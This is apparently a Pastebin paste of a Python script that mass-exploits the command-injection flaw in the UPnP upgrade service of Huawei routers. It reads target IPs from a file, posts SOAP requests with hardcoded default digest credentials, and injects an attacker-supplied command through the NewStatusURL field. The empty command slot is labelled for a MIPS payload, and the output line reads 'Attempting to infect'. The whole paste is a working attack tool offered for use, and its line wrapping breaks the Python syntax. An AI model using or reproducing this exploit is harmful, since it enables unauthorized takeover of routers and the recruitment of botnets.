Guest User

zain sabhat

a guest
Jan 2nd, 2018
222
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.10 KB | None | 0 0
  1. import threading , sys, time, random,
  2. socket, re, os, struct, array ,
  3. requests
  4. from requests. auth import
  5. HTTPDigestAuth
  6. ips = open(sys . argv[ 1 ],
  7. "r" ) .readlines()
  8. cmd = "" # Your MIPS (SSHD)
  9. rm = "<?xml version= \"1.0 \" ?> \n
  10. <s:Envelope xmlns:s= \"http://
  11. schemas.xmlsoap.org/soap/envelope/ \"
  12. s:encodingStyle= \"http://
  13. schemas.xmlsoap.org/soap/encoding/ \">
  14. \n <s:Body><u:Upgrade xmlns:u=
  15. \"urn:schemas-upnp-
  16. org:service:WANPPPConnection:1 \"> \n
  17. <NewStatusURL>$(" + cmd + ")</
  18. NewStatusURL> \n <NewDownloadURL>$(echo
  19. HUAWEIUPNP)</NewDownloadURL> \n </
  20. u:Upgrade> \n </s:Body> \n </
  21. s:Envelope>"
  22. class exploit ( threading. Thread) :
  23. def __init__ ( self, ip):
  24. threading . Thread.__init__
  25. ( self)
  26. self. ip = str ( ip) .rstrip
  27. ( ' \n ')
  28. def run ( self) :
  29. try :
  30. url = "http://" +
  31. self. ip + ":37215/ctrlt/
  32. DeviceUpgrade_1"
  33. requests. post( url ,
  34. timeout = 5 , auth= HTTPDigestAuth( 'dslf-
  35. config' , 'admin' ) , data=rm)
  36. print "[SOAP]
  37. Attempting to infect " + self. ip
  38. except Exception as e:
  39. pass
  40. for ip in ips:
  41. try:
  42. n = exploit ( ip)
  43. n. start()
  44. time. sleep( 0.03 )
  45. except:
  46. pass
Advertisement
Add Comment
Please, Sign In to add comment